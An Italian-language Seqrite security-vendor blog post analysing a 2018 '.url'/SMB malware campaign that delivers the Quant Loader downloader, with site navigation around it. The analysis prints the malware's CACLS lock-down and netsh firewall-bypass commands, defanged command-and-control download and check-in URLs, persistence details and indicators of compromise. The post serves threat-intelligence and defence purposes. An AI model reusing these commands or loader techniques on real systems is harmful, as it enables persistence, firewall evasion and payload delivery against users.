• Prodotti e Servizi
        • Cloud

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • On Prem

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Piattaforma

          • Malware Analysis Platform
        • Piccola impresa

          • SOHO Total Edition
        • Servizi

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Sicurezza informatica e Data Privacy Awareness
  • Soluzioni
    • BFSI
    • Formazione
    • Enti Pubblici
    • Settore Sanitario
    • ITeS
    • Produzione
  • Azienda
    • Chi siamo Seqrite
    • Leadership
    • Premi e certificazioni
    • News & storie
  • Partner
    • Trova partner
    • DIVENTA UN PARTNER
  • Assistenza
  • Risorse
    • Blog
    • Fogli bianchi
    • Datasheets
    • Casi di studio
    • Rapporti sulle minacce
    • Manuali
    • Pov
    • Comprensione Data Privacy
    • Verifica il tuo punteggio di rischio
    • Dialoghi DPDP
    • Ora della privacy
Seqrite Labs Blog
Contatta l'ufficio vendite Sotto attacco?
  • Prodotti e Servizi
        • Cloud

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • On Prem

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Piattaforma

          • Malware Analysis Platform
        • Piccola impresa

          • SOHO Total Edition
        • Servizi

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Sicurezza informatica e Data Privacy Awareness
  • Soluzioni
    • BFSI
    • Formazione
    • Enti Pubblici
    • Settore Sanitario
    • ITeS
    • Produzione
  • Azienda
    • Chi siamo Seqrite
    • Leadership
    • Premi e certificazioni
    • News & storie
  • Partner
    • Trova partner
    • DIVENTA UN PARTNER
  • Assistenza
  • Risorse
    • Blog
    • Fogli bianchi
    • Datasheets
    • Casi di studio
    • Rapporti sulle minacce
    • Manuali
    • Pov
    • Comprensione Data Privacy
    • Verifica il tuo punteggio di rischio
    • Dialoghi DPDP
    • Ora della privacy
Casa  /  Antivirus per server  / Un'analisi approfondita di una nuova campagna malware emergente ".url"
Un'analisi approfondita di una nuova campagna malware emergente ".url"
19 Marzo 2018

Un'analisi approfondita di una nuova campagna malware emergente ".url"

Scritto da Pradeep Kulkarni
Pradeep Kulkarni
Antivirus per server
5
azioni

La scorsa settimana abbiamo parlato sul nostro blog dell'emergere di un nuovo vettore di attacco, '.url' , utilizzato per diffondere malware. In questo post, analizzeremo in dettaglio la catena di attacco di questo vettore '.url' e approfondiremo il malware Quant Loader, che ne fa un uso attivo.

Diamo un'occhiata alla catena di attacco qui sotto, che illustra la sequenza di esecuzione osservata in questo attacco, in cui un file ".url" viene utilizzato per diffondere malware.

Fig 1. Catena di attacco
Fig 1. Catena di attacco

Di seguito è riportata la figura riassuntiva del processo della catena di attacco.

Fig 2. Riepilogo del processo
Fig 2. Riepilogo del processo

Come spiegato sopra, in genere “.url” contiene URL (“https://” o “https://”), ma in questo caso abbiamo osservato che le condivisioni SMB venivano utilizzate per eseguire un codice JavaScript dannoso.

Fig 3. File .URL che accede alla condivisione SMB
Fig 3. File .URL che accede alla condivisione SMB

Il file sopra riportato è correlato a CVE-2016-3353, in cui Internet Explorer gestisce in modo errato i file '.url' dalla zona Internet e consente ad aggressori remoti di aggirare le restrizioni di accesso previste tramite un file contraffatto.

Queste condivisioni SMB sono accessibili pubblicamente e senza autenticazione. Le figure 3 e 4 mostrano la posizione della condivisione SMB pubblica "buyviagraoverthecounterusabb[.]net/documents/", dove sono archiviati i file JavaScript dannosi. L'indirizzo IP della posizione della condivisione SMB dannosa è "91.102.153.90".

Fig 4. Acquisizione della comunicazione mentre SMB condivide l'accesso
Fig 4. Acquisizione della comunicazione mentre SMB condivide l'accesso
Fig 5. File JavaScript archiviati pubblicamente
Fig 5. File JavaScript archiviati pubblicamente

La figura seguente mostra un codice JavaScript dannoso inviato alla vittima tramite protocollo SMB.

Fig 6. Richiesta SMB
Fig 6. Richiesta SMB

All'apertura del codice JavaScript dannoso, viene aperta l'applicazione 'wscript.exe'.

Fig. 7. Richiesta utente
Fig. 7. Richiesta utente

Il malware di seconda fase viene scaricato da un JavaScript dannoso una volta che la vittima clicca su "Apri", come mostrato nella Figura 5. Questo JavaScript dannoso è altamente offuscato e viene utilizzato solo come downloader di prima fase.

Fig. 8. Downloader JavaScript dannoso
Fig. 8. Downloader JavaScript dannoso

Il malware di secondo stadio viene scaricato nella posizione '%TEMP%' tramite JavaScript e avviato attraverso 'cmd.exe'. Si tratta di un eseguibile pesantemente offuscato che viene eseguito direttamente in memoria. Questo malware sembra essere una variante di ' Quant Loader ' e può essere utilizzato per scaricare altro malware. Al momento dell'analisi da parte di Quick Heal Security Labs, non abbiamo osservato malware scaricato da Quant Loader. Analizziamo ora il funzionamento del malware Quant Loader.

Il malware Quant Loader controlla tutte le impostazioni locali della tastiera del sistema tramite "Keyboard Layout\Preload". Esce se le impostazioni locali sono tra Russia, Ucraina e Kazakistan.

Fig. 9. Verificare le impostazioni locali del sistema
Fig. 9. Verificare le impostazioni locali del sistema

Quant Loader utilizza la seguente chiave di registro per identificare la configurazione a 32/64 bit del sistema della vittima. Utilizza quindi le stesse informazioni come parte della richiesta CNC durante la comunicazione con il server CnC.

HKLM\ SOFTWARE \ Microsoft \ Windows \ CurrentVersion ProgramFilesDir (x86)

Controlla anche la presenza delle seguenti voci di registro.

Fig 10. Verificare la presenza di diversi prodotti di sicurezza
Fig 10. Verificare la presenza di diversi prodotti di sicurezza

Rilascia una copia di sé con il nome 'dwm.exe' in ' Cartella \<8DigitNumeric>' e imposta la stessa per l'esecuzione automatica tramite la voce "Esegui" nel registro. Questo viene fatto per ottenere la persistenza nel sistema.

Fig 11. Autocopia del file malware
Fig 11. Autocopia del file malware

Questo numero di 8 cifre viene utilizzato come ID Bot (BotId) durante la comunicazione con il server CNC. Il BotId viene generato attraverso i seguenti passaggi:

  1. Leggi 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid'
  2. Estrae solo le cifre dal valore dell'ID macchina nella sequenza di occorrenza
  3. Ometti i primi 5 numeri e considera 8 cifre dal 5 in poi
Fig 12. Utilizzo di MachineGuid come BotId
Fig 12. Utilizzo di MachineGuid come BotId

Quindi modifica l'autorizzazione di accesso utente alla cartella di 8 cifre e al file 'dwm.exe' in modalità di lettura per l'utente connesso. Questo limita l'utente a eliminare o modificare la cartella e il file 'dwm.exe'. Questo si ottiene utilizzando un file CACLS Windows originale tramite il seguente comando.

cmd /c echo Y|CACLS “c:\utenti\ \appdata\roaming\48378942\dwm.exe” /P “ :R"

 Quant Loader aggiunge quindi la regola sottostante nel Firewall con il nome "Quant", che consente al malware di comunicare su Internet aggirando le regole del Firewall.

netsh advfirewall firewall aggiungi regola nome=”Quant” programma=”c:\users\ \appdata\roaming\48378942\dwm.exe” dir=Out azione=consenti

Tenta inoltre di connettersi al dominio CNC 'wassronledorhad[.]in' e di scaricare altri file dannosi.

Il CNC non rispondeva al momento dell'analisi. Tuttavia, l'analisi statica fornisce alcune informazioni sulla probabile comunicazione CNC e su altre funzionalità di Quant Loader.

I file sottostanti sarebbero stati scaricati se il server CNC fosse stato attivo.

hxxp://wassronledorhad.in/q2/lib/zs.dll.c
hxxp://wassronledorhad.in/q2/lib/bs.dll.c
hxxp://wassronledorhad.in/q2/lib/sql.dll.c

Questi file sono archiviati nella cartella %APPDATA%\z rispettivamente come zs.dll, bs.dll e sqlite3.dll.

Fig 13. Scarica i nomi dei file
Fig 13. Scarica i nomi dei file

Controlla che la dimensione dei file 'zs.dll' e 'sqlite3.dll' sia inferiore a 0x20000. Quindi esegue la funzione "Main" da zs.dll.

Fig 14. Caricare ed eseguire la DLL scaricata
Fig 14. Caricare ed eseguire la DLL scaricata

Quant Loader ha provato a inviare le seguenti richieste al server CNC.

hxxp://wassronledorhad[.]in/q2/index.php?id=48378942&c=2&mk=75490e&il=H&vr=1.73&bt=32

Dove id = BotId, c = contatore richieste, bt = sistema a 32/64 bit

Attende il comando dal server CNC che ha la seguente struttura:

[BotId][Comando][Dati]

Il comando può essere uno dei seguenti: "pwd", "exe", "doc", "dll".

Fig 15. Elenco dei comandi bot
Fig 15. Elenco dei comandi bot

È stato scoperto che il comando "pwd" esegue anche zs.dll con la funzione "Main".

Per i restanti comandi, il malware crea un file con il nome timestamp di Windows nella cartella 'temp'.

Fig 16. Utilizzo dell'ora di sistema per creare il nome del file
Fig 16. Utilizzo dell'ora di sistema per creare il nome del file

Se il comando è "exe", il file viene eseguito tramite l'API ShellExecute.

Fig 17. Chiamata a ShellExecute per eseguire il file exe scaricato
Fig 17. Chiamata a ShellExecute per eseguire il file exe scaricato

Se il comando è "doc", il file viene eseguito con l'API WinExec.

Fig 18. Chiamata a WinExec per eseguire il file doc scaricato
Fig 18. Chiamata a WinExec per eseguire il file doc scaricato

Se il comando è "dll", allora utilizza "LoadLibrary" e "GetProcaddress" per eseguire la funzione desiderata da dll come mostrato nella figura 13 fornita in precedenza.

Pertanto, a seconda dei comandi, il bot può scaricare altri file dannosi ed eseguirli.

Il vettore di attacco '.Url' è attualmente utilizzato da Quant Loader. Nei prossimi giorni potremmo assistere a un aumento dell'uso di questo nuovo vettore di attacco (.url) da parte di altre famiglie di malware.

Indicatori di compromesso:

50C359167CC74A962CACAFF2A795B23C
4394536E9A53B94A2634C68043E76EF8
buyviagraoverthecounterusabb[.]net/documents/B200795218387[.]js
91.102.153.90

Esperti in materia

  • Pradeep Kulkarni, Amar Patil, Aniruddha Dolas | Laboratori di sicurezza Quick Heal

 Articoli precedenti5 caratteristiche indispensabili di una soluzione di sicurezza di rete
Next Post  Dare priorità alla sicurezza informatica: da dove cominciare?
Pradeep Kulkarni

Informazioni su Pradeep Kulkarni

Pradeep Kulkarni è a capo del team IPS di Quick Heal Technologies Limited. Avendo lavorato nel settore della sicurezza informatica per oltre 11 anni, ha collaborato a diversi...

Articoli di Pradeep Kulkarni »

Post correlati

  • Antivirus per Server: una soluzione completa per reti complesse

    2 aprile 2018
  • Perché il server e la rete della tua azienda devono essere sicuri?

    Luglio 18, 2017
Autori in evidenza
  • Seqrite
    Seqrite

    Seqrite è un fornitore leader di soluzioni di sicurezza informatica aziendale. Con particolare attenzione a...

    Leggi altri articoli di Seqrite
  • Bineesh P
    Bineesh P

    Sono un appassionato di sicurezza informatica e uno scrittore appassionato. Con un talento...

    Leggi altri articoli di Bineesh P.
  • Jyoti Karlekar
    Jyoti Karlekar

    Sono uno scrittore appassionato che ama creare contenuti sulle tecnologie emergenti e...

    Leggi altri articoli di Jyoti Karlekar
  • Sanjay Katkar
    Sanjay Katkar

    Sanjay Katkar è il co-amministratore delegato di Quick Heal Technologies...

    Leggi altri articoli di Sanjay Katkar
Argomenti
adatto (25) Attacco informatico (36) attacchi informatici (58) attacco informatico (16) attacchi informatici (15) Cybersecurity (344) sicurezza informatica (34) Minaccia informatica (33) minacce informatiche (51) violazione di dati (56) violazioni dei dati (29) Perdita di dati (28) prevenzione della perdita dei dati (34) data privacy (17) protezione dati (35) la sicurezza dei dati (19) DLP (50) DPDP (14) DPDPA (17) crittografia (16) sicurezza degli endpoint (113) Sicurezza aziendale (20) Sfruttare (13) GDPR (14) il malware (76) analisi del malware (15) attacco di malware (23) MDM (27) Microsoft (15) MITRE ATT & CK (14) Sicurezza della rete (26) phishing (30) Ransomware (69) attacco ransomware (31) attacchi ransomware (31) protezione ransomware (17) Seqrite (41) Seqrite crittografia (27) Seqrite EPS (33) Seqrite Servizi (16) rilevamento delle minacce (15) Threat Intelligenza (26) UTM (34) Vulnerabilità (16) zero fiducia (13)
Seqrite Labs

Fornitore leader di soluzioni di sicurezza IT aziendale che semplifica la sicurezza di endpoint, dati e reti con le migliori soluzioni di prevenzione, rilevamento e risposta alle minacce a livello mondiale.

Ulteriori informazioni su Seqrite

Seguici su:

Iscriviti alla nostra Newsletter

Rimani informato sulle ultime tendenze e approfondimenti in materia di sicurezza informatica.

Caricamento in corso
Prodotti e Servizi
  • Cloud
  • Endpoint Protection
  • Endpoint Detection and Response
  • Mobile Device Management
  • BYOD
  • Extended Detection and Response
  • Zero Trust Network Access
  • Data Privacy
  • On Prem
  • Endpoint Protection
  • Endpoint Detection and Response
  • Data Privacy
  • Piattaforma
  • Malware Analysis Platform
  • Microimpresa
  • SOHO Total Edition
  • Servizi
  • Threat Intel
  • Digital Risk Protection Services (DRPS)
  • Ransomware Recovery as a Services (RRaaS)
  • DPDP Compliance
  • Managed Detection and Response
  • Sicurezza informatica e Data Privacy Awareness
Risorse
  • Blog
  • Fogli bianchi
  • Datasheets
  • Rapporti sulle minacce
  • Manuali
  • Pov
  • Comprensione Data Privacy
  • Dialoghi DPDP
  • Politica e conformità
  • EULA
  • GoDeep.AI
  • SIA
  • Ora della privacy
Contattaci
  • Sede legale
  • Parliamo di sicurezza informatica
Assistenza
  • Supporto Tecnico
  • Scaricare il Software
  • Aggiornamento offline
  • Aggiornamenti Firmware
  • Upgrades
  • Documentazione di Prodotto
Chi siamo
  • Chi siamo Seqrite
  • Leadership
  • Premi e riconoscimenti
  • News & storie
Partner
  • Trova partner
  • DIVENTA UN PARTNER
  • Seqrite Certificazione

© 2026 Quick Heal Technologies Ltd.

Mappa del sito Regole sulla privacy Note legali Politiche sui cookie Condizioni d'uso